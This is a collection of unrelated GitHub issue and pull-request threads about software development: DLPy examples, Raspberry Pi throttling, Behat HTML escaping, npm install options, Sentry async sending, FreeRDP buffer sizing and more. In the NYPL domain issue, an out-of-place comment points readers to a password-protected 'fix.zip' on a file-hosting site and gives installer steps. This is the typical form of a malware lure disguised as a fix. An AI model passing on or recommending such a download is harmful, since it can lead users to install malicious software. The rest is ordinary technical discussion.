Updated DLPy tabular FCNN Regression example. Runs end-to-end with public available scikit-Learn data

Updated the DLPy tabular data FC Neural Network Regression example. Better narrative, validated results, reproducible by users.

Thanks, Maggie.
From: Maggie Du @.>
Sent: Wednesday, March 24, 2021 12:01 PM
To: sassoftware/python-dlpy @.>
Cc: Chip Robie @.>; Author @.>
Subject: Re: [sassoftware/python-dlpy] Updated DLPy tabular FCNN Regression example. Runs end-to-end with public available scikit-Learn data (#362)
EXTERNAL
Looks good to me.

You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHubhttps://nam02.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2Fsassoftware%2Fpython-dlpy%2Fpull%2F362%23issuecomment-805949291&data=04|01|chip.robie%40sas.com|5fe2a9f52e284f817a5108d8eeddf5e3|b1c14d5c362545b3a4309552373a0c2f|0|0|637521984370359216|Unknown|TWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D|1000&sdata=DK7c17NIdET7WxHV3DvaWPl5ec4NgaPJ9nOwiJGytMo%3D&reserved=0, or unsubscribehttps://nam02.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2Fnotifications%2Funsubscribe-auth%2FAKNAF36FZLHBXMIBGNFX2F3TFIECFANCNFSM4ZXQYNKQ&data=04|01|chip.robie%40sas.com|5fe2a9f52e284f817a5108d8eeddf5e3|b1c14d5c362545b3a4309552373a0c2f|0|0|637521984370369212|Unknown|TWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D|1000&sdata=QR7ovvVFXVrvkYr%2F4ykG5IX2eXH16zq7dsEcXv%2FI5Wk%3D&reserved=0.


[Feature] Add throttling info

Running the following returns the current throttling

vcgencmd get_throttled
throttled=0x50005

Result of which indicates

0 | Under-voltage detected
1 | Arm frequency capped
2 | Currently throttled
3 | Soft temperature limit active
16 | Under-voltage has occurred
17 | Arm frequency capped has occurred
18 | Throttling has occurred
19 | Soft temperature limit has occurred

Official documentation on the vcgencmd command and all usages
https://github.com/raspberrypi/documentation/blob/JamesH65-patch-vcgencmd-vcdbg-docs/raspbian/applications/vcgencmd.md

Completed on
https://github.com/VincentPestana/RpiStats/commit/1d90f2b3ff80c73746e96e22a463d432f37d1e3e
https://github.com/VincentPestana/RpiStats/commit/d81ee31f83805fc8a5889b87aece6ec16cb2d529


Enable per service polling

On related note, the current interval is 1000000ms, which can cause some issues if Mozaik dashboard is used behind proxy. For example, Nginx drops the connection after 60sec by default (i.e. before the next batch is read)
http://nginx.org/en/docs/http/ngx_http_core_module.html#keepalive_timeout

@juhamust, this doesn't solve this issue, but it's a small improvement, https://github.com/plouc/mozaik/pull/75


Adding a prototype for the html formater

This is to correct the branch's misspell as well as tidying it up

@stof , @WouterJ , hope this one be better. And once more, thanks for the help :)

@webit4me not that your commit is not associated to your github account (not the same email address). You may want to alter your commit to use the proper email, or add it in your github account

You are missing HTML escaping in tons of places

@stof , escaping html in the html format sounds a bit tricky.
In one hand i would say some developers might prefer to use some html tags in their features to style up the result/report as well as in some cases we might have html tags as part of the step arguments e.g. passing html partial  inside a multiple lines steps (""") to be checked during a test.
any thought? :)

some developers might prefer to use some html tags in their features to style up the result/report

Styling reports by modifying features sounds terribly wrong.

so what's the suggestion , shall we escape all html special characters? if so what will happened to  fixtures with some special character in them e.g. "<?php" in the append_snippets.feature ?

When escaping, they will be shown as <?php.
Op za 24 jan. 2015 16:27 schreef Ali Bahman<EMAIL_ADDRESS>

so if thats the case i think i can easily walk through all variables passing to the getTemplate method and clear them up just before being passed to the template file.

Unfortunately it wasn't possible to escape all html tags by walking on the variables passing to he template. so i have done it in different places.
but still i would suggest to consider the opportunity of styling the report output by amending the fixture, i.e. like at the moment in the pretty formatter, one can put some more pressure on specific word in a scenario's title by wrapping it in a failed tag and make it bolder for the developer whom going to satisfy that test
e.g. Scenario: Extension {+failed} should {-failed} be successfully loaded


Not A Issue

This isn't a issue but rather a notice ... this code is currently outdated and bloated with unnecessary files ... A new devel branch has been started to bring things up to date. We will maintain the current master branch and will be using the devel branch for current development ... so please reference the devel branch with any updates ...

First we make the changes to synchronize with the current OttoDiyLib
after synced then we make changes to support new features (TBD) to both OttoDiyLib & OttoDIYPython

After both OttoDiyLib & OttoDIYPython are updated ... we will update blockly for any new features ... and then finally
either modify blockly to run both platforms or fork blockly and create a python version (TBD) ...


Update the NYPL domain in the API

Description

The NYPL collections Content Source domain should be "https://digitalcollections.nypl.org/", not "nypl.org"
Additional context

https://openverse.org/sources links to the main NYPL URL, and it's very difficult to find the landing page for media collection

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Updated on the admin.


Prevent panic on diff generation

The lastLeftIdx should be reset at the same time as creating a new section otherwise
it is possible for a second addition to end up attempting to read a nil entry.
Fix #16943
Signed-off-by: Andrew Thornton<EMAIL_ADDRESS>

Now I can't quite come up with a testcase - but the proposed mechanism is the only way I can think of for how this could happen.

Codecov Report

Merging #16950 (a26ee6d) into main (6c125e9) will increase coverage by 0.00%.
The diff coverage is 40.00%.

@@           Coverage Diff           @@
##             main   #16950   +/-   ##
=======================================
  Coverage   45.19%   45.19%
=======================================
  Files         762      762
  Lines       86173    86178    +5
=======================================
+ Hits        38942    38948    +6
+ Misses      40935    40933    -2
- Partials     6296     6297    +1

Impacted Files
Coverage Δ

modules/storage/storage.go
48.57% <0.00%> (-0.71%)
:arrow_down:

services/gitdiff/gitdiff.go
74.06% <50.00%> (-0.14%)
:arrow_down:

modules/queue/queue_channel.go
95.00% <0.00%> (-1.67%)
:arrow_down:

modules/queue/queue_bytefifo.go
59.88% <0.00%> (+0.59%)
:arrow_up:

modules/queue/workerpool.go
48.85% <0.00%> (+0.76%)
:arrow_up:

models/unit.go
43.83% <0.00%> (+2.73%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 5a73153...a26ee6d. Read the comment docs.


Finish Falcor HOCs

This should hopefully be able to help with #356. Hope the documentation I provided is clear, feel free to ask questions, also feel free to come with comments on the withFalcorQuery name. I didn't test this properly but hoping to work closely with Fred on the testing. Also @frederikbrinck notice that this now actually sets the prop for the falcor model to be falcor.
If you would like to have both the props at some point Fred I would install recompose and use the compose function to compose the 2 HOCs (or if you need to use any more than 1 hoc for any other reason).
It also resolves #333

Also just upgraded Falcor as I can see breaking changes weren't big between v1 and v2 and I actually like the breaking change (and don't think it should affect our codebase, also we're gonna test thoroughly no matter what so we should find everything)

Awesome, seems the E2E tests are failing with the new Falcor version so I'll just try and debug that (and possibly just revert the upgrade if it isn't simple)


This broke our CI pipeline for several projects :'(

Hi @JDiPierro,
I read your following comment on the PR for packr/v2. Could you please add some more information or symptom of the issue + a brief description of your use case + your environment?
--- the original comment ---
This broke our CI pipeline for several projects :'(
The installation methods in the README need to be updated.
$ go get -u github.com/gobuffalo/packr/v2/packr2

this no longer works.
Originally posted by @JDiPierro in https://github.com/gobuffalo/packr/issues/295#issuecomment-974307949

We had the same issue and ended up removing the v2 from the path

I see. If you are able to install packr2 by running the command as follows, it must be an issue of the go version. By version 1.16 of go, which is our minimum supported version, the behavior of go get changed to enable GO111MODULE=on by default, and the package argument resolution automatically translates version part of the package (v2 of .../packr/v2) argument. If it was just treated as a path on the source tree, it seems like you are using GOPATH mode in your environment.
Will update the doc accordingly.
go get -u github.com/gobuffalo/packr/packr2


All of the rows can be fetched even if without continuation token

as per this link, only 1000 rows can be fetched if without continuation token.
But even if I just use this line of code(without continuation token):
count=0
entities = table_service.query_entities(table,filter='PartitionKey eq 'xxx' '')
for entity in entities:
      count = count +1

print(count)

I can fetch all of the rows (more than 10000 rows), so I wonder if this is expected?

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: cb1dcd40-daee-e1f1-3c10-1f0e02d7c794
Version Independent ID: ae5f5ff1-9d2f-2780-89d2-a6fa1fba43e7
Content: Get started with Azure Table storage and the Azure Cosmos DB Table API using Python
Content Source: articles/cosmos-db/table-storage-how-to-use-python.md
Service: cosmos-db
GitHub Login: @SnehaGunda
Microsoft Alias: sngun

@imeya Thank you for the detailed feedback! I have assigned the issue to the content author to evaluate and update as appropriate.

@imeya I think that's expected, I see two ways of querying the data, probably they are coming from different versions of SDKs:

Using "table_service.query_entities()" - This query would return all the results by applying a filter on the partition key.
Using "employeeTable.ExecuteQuery()" - The continuation token property is applicable for this method of querying. Where only 1000 results are returned by default along with a continuation token.

If the above doesn't help or if you have additional questions, can you please send an email to<EMAIL_ADDRESS>alias, a broader audience can see the question and answer.

@imeya I think that's expected, I see two ways of querying the data, probably they are coming from different versions of SDKs:

Using "table_service.query_entities()" - This query would return all the results by applying a filter on the partition key.
Using "employeeTable.ExecuteQuery()" - The continuation token property is applicable for this method of querying. Where only 1000 results are returned by default along with a continuation token.

If the above doesn't help or if you have additional questions, can you please send an email to<EMAIL_ADDRESS>alias, a broader audience can see the question and answer.

thank you. If it's expected, then it's ok.

We will now close this issue. If you have further questions, feel free to reach us. Thanks!
#please-close


Some questions about push

I used poll command get some data from https://www.taxiistand.com/ or http://hailataxii.com/,but I can't used push command push it to my inbox-a server.
I used push command :
taxii-push --path http://localhost:9000/services/inbox-a -f /home/lh/text_xml.xml --username admin --password admin
and Terminal window display:
2020-04-07 19:40:58,136 INFO: Sending Inbox_Message to http://localhost:9000/services/inbox-a
2020-04-07 19:40:58,306 ERROR: HTTP Error: status code 500
My configuration file is data-configuration.yml.

Hi,

Please format your issue with code formatting for code and response.
Have you tried specifying a destination collection? It would be using the --dest flag

@LiuH2 could you please provide full error stack trace from your OpenTAXII instance?

I think I got a similar problem
There is also a issue about this by another user here: https://github.com/MISP/MISP/issues/5795
Stack Trace:
Apr 20 09:13:52 RB00SRV032 gunicorn[30222]: {"event": "Checking for existence of <IP_ADDRESS>", "logger": "main", "level": "info", "timestamp": "2020-04-20T09:13:52.470809Z"}
Apr 20 09:13:52 RB00SRV032 gunicorn[30222]: {"event": "Exception on /services/inbox [POST]", "exc_info": ["<class 'KeyError'>", "KeyError('response',)", "<traceback object at 0x7f7fb73fa208>"], "logger": "opentaxii.middleware", "level": "error", "timestamp": "2020-04-20T09:13:52.975626Z"}
Apr 20 09:13:52 RB00SRV032 gunicorn[30222]: {"event": "Internal error", "logger": "opentaxii.middleware", "level": "error", "timestamp": "2020-04-20T09:13:52.976318Z", "exception": "Traceback (most recent call last):
File "/opt/MISP-Taxii-Server/venv/lib/python3.6/site-packages/flask/app.py", line 2446, in wsgi_app
response = self.full_dispatch_request()
File "/opt/MISP-Taxii-Server/venv/lib/python3.6/site-packages/flask/app.py", line 1951, in full_dispatch_request
rv = self.handle_user_exception(e)
File "/opt/MISP-Taxii-Server/venv/lib/python3.6/site-packages/flask/app.py", line 1820, in handle_user_exception
reraise(exc_type, exc_value, tb)
File "/opt/MISP-Taxii-Server/venv/lib/python3.6/site-packages/flask/_compat.py", line 39, in reraise
raise value
File "/opt/MISP-Taxii-Server/venv/lib/python3.6/site-packages/flask/app.py", line 1949, in full_dispatch_request
rv = self.dispatch_request()
File "/opt/MISP-Taxii-Server/venv/lib/python3.6/site-packages/flask/app.py", line 1935, in dispatch_request
return self.view_functionsrule.endpoint
File "/opt/MISP-Taxii-Server/venv/lib/python3.6/site-packages/opentaxii/middleware.py", line 85, in wrapper
return _process_with_service(service)
File "/opt/MISP-Taxii-Server/venv/lib/python3.6/site-packages/opentaxii/middleware.py", line 163, in _process_with_service
response_message = service.process(request.headers, taxii_message)
File "/opt/MISP-Taxii-Server/venv/lib/python3.6/site-packages/opentaxii/taxii/services/abstract.py", line 83, in process
response_message = handler.handle_message(self, message)
File "/opt/MISP-Taxii-Server/venv/lib/python3.6/site-packages/opentaxii/taxii/services/handlers/inbox_message_handlers.py", line 123, in handle_message
return InboxMessage11Handler.handle_message(service, request)
File "/opt/MISP-Taxii-Server/venv/lib/python3.6/site-packages/opentaxii/taxii/services/handlers/inbox_message_handlers.py", line 63, in handle_message
inbox_message_id=inbox_message.id if inbox_message else None)
File "/opt/MISP-Taxii-Server/venv/lib/python3.6/site-packages/opentaxii/persistence/manager.py", line 197, in create_content
collection_ids=collection_ids, service_id=service_id)
File "/opt/MISP-Taxii-Server/venv/lib/python3.6/site-packages/blinker/base.py", line 267, in send
for receiver in self.receivers_for(sender)]
File "/opt/MISP-Taxii-Server/venv/lib/python3.6/site-packages/blinker/base.py", line 267, in
for receiver in self.receivers_for(sender)]
File "/opt/MISP-Taxii-Server/misp_taxii_hooks/hooks.py", line 69, in post_stix
if search["response"]["Attribute"] != []:
KeyError: 'response'"}

@ruffy91
...
 File "/opt/MISP-Taxii-Server/misp_taxii_hooks/hooks.py", line 69, in post_stix
 if search["response"]["Attribute"] != []:
KeyError: 'response'"}

this looks like an error in MISP-Taxii-Server code, not in OpenTAXII code

@traut @ruffy91 this is fixed in PR 82


GetStarted overrides default content

It seems like  is only able to override the default content of the callout. I did not find any option to disable this callout completely. Maybe i missed something, but if not we should make it clear that omitting  will not result in the removal of the callout.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: eb3c39f4-bf7f-a54b-1671-a3a3a5a4ce92
Version Independent ID: fa858a5c-a2a7-5cad-c312-f62bcfcd5115
Content: DesktopFormFactor element in the manifest file - Office Add-ins
Content Source: docs/reference/manifest/desktopformfactor.md
Product: non-product-specific
Technology: add-ins
GitHub Login: @o365devx
Microsoft Alias: o365devx

Hi @nrueckmann,
Thanks for raising this issue. @davidchesnut, could you please investigate?

Hi @nrueckmann, I just submitted PR #2944 to add a note about the behavior when omitting GetStarted. It will just use the description and displayname instead.
Thanks!
David


Add SVE register definitions to AArch64

Also adds a test to check all AArch64 register codes are assigned.

I wasn't sure what the beta designation meant for these. I assume these are all in common usage now then?

It is indeed still in beta, but the specification is complete and these things aren't expected to change. LLVM already includes the SVE registers in it's DWARF output, so I think it would make sense for readers to be able to interpret these register numbers.


swapping issue on scoreboard

Describe the bug
Amigo scoreboard is swapping solved challenges places on scoreboard.
Expected behavior
There should not be any swapping.
Screenshots
The SS below shows the bug.
Although challenge FTP solved, it shows Micro CMS XSS

fixed with commit  631e52c31f


GPIO

Does it support controlling GPIO?

yes. but not integrated right now, this should be available in 1 mons


Improve table recreation sys check docs

Summary of the changes / Why this improves CrateDB

Make sure the examples are tested
Document version compatibility
Add hint to avoiding reindex using partitions

Replaces https://github.com/crate/crate/pull/8941
Checklist

[x] User relevant changes are recorded in CHANGES.txt
[x] Touched code is covered by tests
[x] Documentation has been updated if necessary
[x] CLA is signed
[x] This does not contain breaking changes, or if it does:

It is released within a major release
It is recorded in CHANGES.txt
It was marked as deprecated in an earlier release if possible
You've thought about the consequences and other components are adapted
(E.g. AdminUI)

edit: added some citations 😇


Visual glow-up (for the script)

As you can probably tell from the image, I've given the script a major visual glow-up!

@Oman395 good for merge?

@Oman395 good for merge?

Not yet, gonna do some testing first

@Oman395 good for merge?

Not yet, gonna do some testing first

Pls don't do testing yet, I still need to fix the colors

Colors should be fixed now!

@Oman395  Colors are fixed!


join with ZAK, can't use variable for ZAK

I want to join with ZAK, but I am getting the ZAK token from an http call. The module doesn't seem to allow setting the value of ZAK with an internal variable when using Join a Metting with ZAK.
Would be fantastic if I could use a variable there.
Am I overlooking something?

@roverradio Please check Pull Request #181 and let me know if it works for you.  I unfortunately currently do not have any way to test using ZAK tokens.


Retire clang_version

Note: this makes the "install" target install the compiler rt into the compiler's runtime directory.  IMO, it's what "install" is supposed to do.  If you want to avoid modifing the runtime directory for some reasons, you can still do "dist" without "install".

Personally I think that "install" should only ever modify things under CMAKE_INSTALL_PREFIX by default. Having an option to modify the host compiler's sysroot seems reasonable, but I don't think by default this should modify the host compiler's sysroot.

Personally I think that "install" should only ever modify things under CMAKE_INSTALL_PREFIX by default. Having an option to modify the host compiler's sysroot seems reasonable, but I don't think by default this should modify the host compiler's sysroot.

i tend to disagree. but i pushed a change to avoid modifying the host compiler's resource dir.


Jebeck/asante sim

Since it looks like my highest priority moving forward for the near-term future (i.e., next several days to a week) is going to be CareLink, I think this work (to make Asante demo-able) should be reviewed and merged to avoid long-running branches.
Ping @kentquirk
This PR contains some general house-keeping to make the driver match the other drivers, builder fixes for some values that were in incorrect units, building of manual-entry SMBGs from wizard records, and a minimal simulator to get the basals (minus temp basals and suspends) going.

I made a couple of comments, but they're not critical. You may merge when ready.

Merging this. Note that it will be accessible from the UI on master - commit 4c31ead60523b958ef60df1371d49bf85eb11a10 will need to be reverted for the next release. (Probably I should just stash and unstash that change while I'm working in future.)


"Why AIK" section

In can be confusing for people to understand what's point of AIK, like you don't technically need it to build an Astro + it's not official. A new page at /getting-started/why/ would help!

experimental
will probably be made official at some point
useful to gather feedback
small utilities, mostly syntax sugar
better DX
Encapsulate best-practices as higher-level APIs
Surface less obvious combinations of the lower level APIs
Beginner friendly (I guess this is Fryuni's second point) but to elaborate, you shouln't have to know the ins-and-outs of vite VMs just to get user config options
Standardised. Currently all integrations have their own hacks around various things. It's nice to have a "standard" and tested way of doing things
Maybe not there yet... (just in case there's any more core API shakeups) But we can create really good guides, blogs and content to actually help people create integrations much easier if we have a standard way everybody can use.

It's probably worth mentioning on the "not official" thing that at least at this point it's a community-driven effort to make developing integrations easier. But it has the "approval", for want of a better word, and even code and architecture from the Astro core team. So whilst it's "not official" in the sense that it was made solely by the core team, it's a group effort from the whole community - literally including the core team.


[Question] Query to JSON:API with sparse fieldset

How to make query like findRecords() which create json:api request with limited number of selected fields?
Like this
GET /articles?include=author&fields[articles]=title,body,author&fields[people]=name

@ahoyahoy have a look at #889


Allow Symfony 4

This is the continuation of #77 which dropped unmaintained versions of Symfony and aimed to support Symfony 4 too (#78 was closed in favor of it), but constraints for sf 4.0 are actually missing from the patch.

ahah nice catch :sunglasses:

Failure on 4.0 build is normal, as matthiasnoback/symfony-config-test does not allow sf 4.0 yet, so enforcing installing 4.0 for every component fails for now.
But as you can see through other builds, everything runs fine with symfony 4: https://travis-ci.org/thephpleague/tactician-bundle/jobs/300183759#L517-L538

Thanks, nicely done! :)


Make public page static

This pull request adds an app.html and makes the index.html static for all public link requests

I deleted this staging env


Parser Enhancement

Please delete branch afterwards.
Updates:
Usage: Now, a list of files can be passed as a command line argument. New usage: stack exec Parser-exe -- *.xml
Dependencies: Added hedgehog as a build dependency
Original Author: ano002
(Moved with github-migration-<IP_ADDRESS> (package github-migration-<IP_ADDRESS> revision df9f38b))

This was a PR in the original repository. Will reopen at some point


How to install it on docker n8n?

How to install it on docker image, I use naskio/n8n-python

Hello @tarek369
You can use neon8n docker image which is based on naskio/n8n-python and contains this package n8n-nodes-changed.

Aweseome, Thank you


npm 5.0 --save and --no-save changes

npm now saves dependencies by default without needing to place --save flag.
It requires --no-save flag to install temporarily without adding to dependencies.

Thanks, but of course this will only lead to confusion with all existing and older installations. Is there a way for the instructions to accommodate both? For example, just have both commands include the option, then the instructions will automatically become valid for all versions of npm without requiring the user to determine their version.

👍  updated accordingly.

@shivajivarma That's an improvement, but some small comments:

A numbered list is not appropriate here, since you're not performing the two things sequentially.  You could use a bullet list, but I think just paragraphs will suffice.
The phrase "...for older version " is ambiguous (older than what?) since it refers forward to something the reader hasn't encountered yet.
The final para about -save is somewhat confusing with the new info, so it needs rewording.

I suggest rewording as below.
...
To install Express temporarily and not add it to the dependencies list:
If using npm 5.0.0 or later, use the --no-save option:
$ npm install express --no-save

If using npm version prior to 5.0.0, omit the --save option:
$ npm install express

By default with version npm 5.0+ npm install adds the module to the dependencies list in the package.json file; with earlier versions of npm, you must specify the --save option explicitly.   Then, afterwards, running npm install in the app directory will automatically install modules in the dependencies list.

@dougwilson: that cannot be done, as there is no --no-save option available npm version prior to 5.0. And no option behavior got changed from 'save' to 'no-save'.

@crandmck thanks for the feedback, updated the content.

Right, I know there is no --no-save option below 5.0, but npm does not error out if you give it an argument it doesn't understand, and since no save is the default, adding a --no-save doesn't error and performs that action even in npm versions below 5.0.
$ npm -v
2.15.9

$ npm install --no-save express
<EMAIL_ADDRESS>node_modules\express
├──<EMAIL_ADDRESS>├──<EMAIL_ADDRESS>├──<EMAIL_ADDRESS>├──<EMAIL_ADDRESS>├──<EMAIL_ADDRESS>├──<EMAIL_ADDRESS>├──<EMAIL_ADDRESS>├──<EMAIL_ADDRESS>├──<EMAIL_ADDRESS>├──<EMAIL_ADDRESS>├──<EMAIL_ADDRESS>├──<EMAIL_ADDRESS>├──<EMAIL_ADDRESS>├──<EMAIL_ADDRESS>├──<EMAIL_ADDRESS>├──<EMAIL_ADDRESS>├──<EMAIL_ADDRESS>├──<EMAIL_ADDRESS>├──<EMAIL_ADDRESS>├──<EMAIL_ADDRESS>├──<EMAIL_ADDRESS>├──<EMAIL_ADDRESS><EMAIL_ADDRESS>├──<EMAIL_ADDRESS><EMAIL_ADDRESS>├──<EMAIL_ADDRESS><EMAIL_ADDRESS>├──<EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS>├──<EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS>├──<EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS>└──<EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS>
I don't think it's good to require the user to determine their version of npm. Just include the command argument in all the examples, as having the command argument explicitly given works across all versions without requiring the user to understand what version they are using.

I don't think it's good to require the user to determine their version of npm.

Agree, it's better to provide a single path that works for everyone.
Looks like @shivajivarma made the changes you requested, so LGTM; landing.

👍


Thread.new Test Never Posts?

Setup
if Rails.env.production? || ENV['LOG_ERRORS_TO_EXTERNAL_SERVICE']
  Raven.configure do |config|
    config.dsn = Rails.application.secrets.my_sentry_url
    config.sanitize_fields = Rails.application.config.filter_parameters.map(&:to_s)
    config.excluded_exceptions = ['ActionController::RoutingError', 'ActiveRecord::RecordNotFound']
    config.tags = { environment: Rails.env }
    config.async = lambda { |event|
      Thread.new { Raven.send(event) }
    }
  end
end

When I run bundle exec rake raven:test  I never see the test post, however, if I remove the asyc processing it works... Thoughts?
require 'sentry-raven'

if Rails.env.production? || ENV['LOG_ERRORS_TO_EXTERNAL_SERVICE']
  Raven.configure do |config|
    config.dsn = Rails.application.secrets.my_sentry_url
    config.sanitize_fields = Rails.application.config.filter_parameters.map(&:to_s)
    config.excluded_exceptions = ['ActionController::RoutingError', 'ActiveRecord::RecordNotFound']
    config.tags = { environment: Rails.env }
    # config.async = lambda { |event|
    #   Thread.new { Raven.send(event) }
    # }
  end
end

Yeah that's bad documentation, we need to fix that. Nothing ever #joins the thread so it never actually gets picked up.

so it is safe to leave on, but it only works in production?

No. I don't believe Thread.new { Raven.send(event) } works at all. We should add tests for this and make sure whatever Thread-based method we recommend actually works.

bummer,  I will keep an eye out for that update

This used to work till 0.13.3

Does 0.15.4 support...
config.async = lambda { |event|
  Thread.new { Raven.send(event) }
}

No, it doesn't.

@Agent47DarkSoul Thanks, will stick with 0.13.2 then

Hey guys, sorry it took me so long to figure out what was going on here. So obvious in retrospect!
Raven.send was deprecated in 0.13.2, because we really don't want to override the send method - it's one of the most important methods defined on Object!
The problem with all of your code here is that you're calling Raven.send in a Thread, which terminates silently with a NoMethodError. Ruby threads terminate silently upon exception unless abort_on_exception is set to true.
Threaded event sending works just fine in Raven with the following config:
config.async = lambda { |event|
    Thread.new { Raven.send_event(event) }
  }

Thank you


Implement no_blank_line_before_class_docstring preview style

Summary
This PR implements the no_blank_line_before_class_docstring preview style.
Test Plan
Update existing snapshots.
fixes: #8888

It seems ecosystem reported numbers are wrong.
Also, links pointed lines aren't exact.

The ecosystem line numbers are not guaranteed to be exact (hence the tilde). It’s a diff of two changes against HEAD, so mapping that diff back to a line number in HEAD is not trivial. (Not sure about the “number of lines changed” though.)


Oai driver

Adds remaining OAI collections and supporting code
QNL doesn't work yet, not sure why

@aaron-collier the black linting complaint is confusing; running black locally doesn't change that file.

@aaron-collier this is causing the QNL failure: https://github.com/sul-dlss/dlme-airflow/issues/198

@jacobthill I'm converting this to DRAFT and labeling HOLD so that we don't close it. I think the recent OAI fixes replace this PR but I don't want to lose the catalog config updates or the retry stuff, we'll put that in follow up PRs for now.


if FTC is not same version/group, reject request

Fixes #743
if FTC exists, ensure that the group and version of the crd that will be generated match what exists (so it can update instead of creating a new one)
If group and version don't match - error.

Note that the group/version here is for the federated type CRD.  As per #804, changing the group/version of the target should be supported as a way of 'upgrading' the API that is targeted in member clusters.

This is really a code error. I fixed it.

Thank you!
/approve
/lgtm


Added Unreal information to MR performance article

Just mirrored what we already do for Unity.

@luis-valverde-ms : Thanks for your contribution! The author(s) have been notified to review your proposed change. @hferrone

@luis-valverde-ms : Thanks for your contribution! The author(s) have been notified to review your proposed change. @hferrone

@sajidfarooq , I just added links to a few UE docs but there is more info in the article that is specific to Unity for which we don't have a UE equivalent. Would you mind giving the document a pass and add anything else you think is worth adding? We can do it via this PR or separately, whatever suits.

@sajidfarooq , I just added links to a few UE docs but there is more info in the article that is specific to Unity for which we don't have a UE equivalent. Would you mind giving the document a pass and add anything else you think is worth adding? We can do it via this PR or separately, whatever suits.

Hi @luis-valverde-ms - all internal PRs need to go through the private repo in the future. Thanks for your contribution!

Hi @luis-valverde-ms - all internal PRs need to go through the private repo in the future. Thanks for your contribution!

@luis-valverde-ms : Thanks for your contribution! The author(s) have been notified to review your proposed change. @hferrone

@luis-valverde-ms : Thanks for your contribution! The author(s) have been notified to review your proposed change. @hferrone

@hferrone : Thanks for your contribution! The author(s) have been notified to review your proposed change. @hferrone

@hferrone : Thanks for your contribution! The author(s) have been notified to review your proposed change. @hferrone


drdynvc_main.c mind bug

Hello,
just want to point you on small bug.
line 759
else if (dataSize <= CHANNEL_CHUNK_LENGTH - pos)
{
the pos variable is equal to 0 at this point even when already written data by
line 749
cbChId = drdynvc_write_variable_uint(data_out, ChannelId);
this will cause issue, that when dataSize == CHANNEL_CHUNK_LENGTH
it will not fit into created buffer
line 739
data_out = Stream_New(NULL, CHANNEL_CHUNK_LENGTH);
because  CHANNEL_CHUNK_LENGTH + cbChId will exhaust it.
Well, possibly I am wrong, do not know, but in my opinion that is just fortune, if this bug did not yet happen.
proposal is either change
else if (dataSize <= CHANNEL_CHUNK_LENGTH - pos)
to
else if (dataSize <= CHANNEL_CHUNK_LENGTH - Stream_GetPosition(data_out))
or add at
line 749
cbChId = drdynvc_write_variable_uint(data_out, ChannelId);
pos = Stream_GetPosition(data_out);
and remove some unnecessary calls to Stream_GetPosition(data_out); at line 752 and 761

@virtman The  CHANNEL_CHUNK_LENGTH is defined as 1600, cbChld is at most 2
closing due to being not a bug.

@virtman Ok, sorry for accidentally closing, fixed your complaint in #3090

Ok, it is merged, thx again.


Remove DataSourceParameter from Orchestration

Fixes #1395.
Changes proposed in this pull request:

Add DataSourceConverter.
Remove  DataSourceParameter from Orchestration
Modify Orchestration-JDBC
Modify Orchestration-Porxy

Pull Request Test Coverage Report for Build 5468

15 of 70 (21.43%)  changed or added relevant lines in 13 files are covered.
4 unchanged lines in 3 files lost coverage.
Overall coverage increased (+0.04%) to 66.965%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

sharding-orchestration/sharding-orchestration-core/src/main/java/io/shardingsphere/orchestration/internal/state/datasource/DataSourceService.java
0
1
0.0%

sharding-proxy/src/main/java/io/shardingsphere/shardingproxy/backend/jdbc/datasource/JDBCBackendDataSource.java
0
1
0.0%

sharding-jdbc/sharding-jdbc-orchestration/src/main/java/io/shardingsphere/shardingjdbc/orchestration/internal/datasource/AbstractOrchestrationDataSource.java
0
2
0.0%

sharding-jdbc/sharding-jdbc-orchestration/src/main/java/io/shardingsphere/shardingjdbc/orchestration/internal/util/DataSourceConverter.java
2
4
50.0%

sharding-jdbc/sharding-jdbc-orchestration/src/main/java/io/shardingsphere/shardingjdbc/orchestration/internal/datasource/OrchestrationMasterSlaveDataSource.java
4
7
57.14%

sharding-jdbc/sharding-jdbc-orchestration/src/main/java/io/shardingsphere/shardingjdbc/orchestration/internal/datasource/OrchestrationShardingDataSource.java
3
7
42.86%

sharding-orchestration/sharding-orchestration-core/src/main/java/io/shardingsphere/orchestration/internal/config/ConfigurationListenerManager.java
0
4
0.0%

sharding-proxy/src/main/java/io/shardingsphere/shardingproxy/runtime/GlobalRegistry.java
0
4
0.0%

sharding-proxy/src/main/java/io/shardingsphere/shardingproxy/util/DataSourceConverter.java
0
4
0.0%

sharding-orchestration/sharding-orchestration-core/src/main/java/io/shardingsphere/orchestration/internal/OrchestrationFacade.java
0
5
0.0%

Files with Coverage Reduction
New Missed Lines
%

sharding-jdbc/sharding-jdbc-orchestration/src/main/java/io/shardingsphere/shardingjdbc/orchestration/internal/datasource/OrchestrationShardingDataSource.java
1
50.0%

sharding-jdbc/sharding-jdbc-orchestration/src/main/java/io/shardingsphere/shardingjdbc/orchestration/internal/datasource/OrchestrationMasterSlaveDataSource.java
1
56.67%

sharding-proxy/src/main/java/io/shardingsphere/shardingproxy/backend/jdbc/datasource/JDBCBackendDataSource.java
2
0.0%

Totals

Change from base Build 5467:
0.04%

Covered Lines:
7563

Relevant Lines:
11294

💛  - Coveralls


Authorize.net dropping support for 3DES cypher

Here's the message from them.
Does this affect the omnipay driver? Will it need updating, or is this something that won't affect functionality and security?
Thanks

Good question, and no, it won't affect the driver.
